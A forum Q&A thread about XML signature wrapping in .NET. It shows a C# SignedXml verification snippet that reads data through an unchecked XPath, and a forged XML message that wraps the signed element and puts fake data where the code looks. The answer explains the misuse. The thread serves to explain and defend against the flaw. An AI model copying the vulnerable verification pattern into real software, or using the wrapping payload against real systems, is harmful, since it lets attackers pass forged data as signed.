Is this a weakness of enveloped XML signature? There might be a problem in many applications based on XML signature verification (provided I am not wrong, of course).

Let's have a simple XML message with an enveloped XML signature:

<?xml version="1.0" encoding="UTF-8"?>
<message>

<msgenvelope id="SIGNED_DATA">some signed data</msgenvelope>

<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
 <SignedInfo>
  ...
  <Reference URI="#SIGNED_DATA">
   ...
  </Reference>
 </SignedInfo>
 <SignatureValue>naUY...+xZbEA=</SignatureValue>
</Signature>
</message>

According to this MSDN article, you should verify such a XML document with the SignedXml class:

SignedXml signedXml = new SignedXml(Doc); //Doc is my message
XmlNodeList nodeList = Doc.GetElementsByTagName("Signature");
signedXml.LoadXml((XmlElement)nodeList[0]);
bool ok = signedXml.CheckSignature(Key);
if (ok) {
    string signedData = Doc.SelectSingleNode("/message/msgenvelope").InnerText;
    //do something with the signed data
} else {
    //throw error or something
}

I think there is a problem: the CheckSignature method verifies if the signature value is correct, but not if the signed data is really the data which are expected to be signed.

An evil guy could modify the message this way:

<?xml version="1.0" encoding="UTF-8"?>
<message>

<msgenvelope id="anotherid">FAKE DATA!!</msgenvelope>

<evil_envelope>
 <msgenvelope id="SIGNED_DATA">some signed data</msgenvelope>
</evil_envelope>

<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
 <SignedInfo>
  ...
  <Reference URI="#SIGNED_DATA">
   ...
  </Reference>
 </SignedInfo>
 <SignatureValue>naUY...+xZbEA=</SignatureValue>
</Signature>
</message>

This message is verified correctly, because the signed element and the signature are still the same. However, resulting data string contains "FAKE DATA!!".

There are a few ways to avoid this attack - using schema verification against XSD, checking the id attribute of the trusted element etc. What is the recommended approach to get rid of this risk? Should the MSDN article be improved? Is there any reference implementation that handles this problem correctly?

To me, this seems not really as a error of the protocol but as wrongly used.

You get a part of the XML using Doc.SelectSingleNode("/message/msgenvelope") but you never checked that "/message/msgenvelope" is actually the signed part of the XML!

You have to treat the XML more like a file system with different files and not like one entity. Think like this: you have three files: a.exe, b.exe and secure.signature You check secure.signature and it tells you: File a.exe was signed by Trusted Guy and is not changed. If you then execute b.exe and think this is secure, it's not a security problem of the signature.

This is basically what you do in the example! You ask if the Signature is valid and get back that it is valid. But it also states <Reference URI="#SIGNED_DATA"> which means that the signature is valid exactly for #SIGNED_DATA and nothing else.

You then ask to get the part identified by /message/msgenvelope and treat it like it has a valid signature!

But /message/msgenvelope is clearly not the same as #SIGNED_DATA.
It might identify the same element, it might not. But you most certainly never checked the signature of /message/msgenvelope explicitly!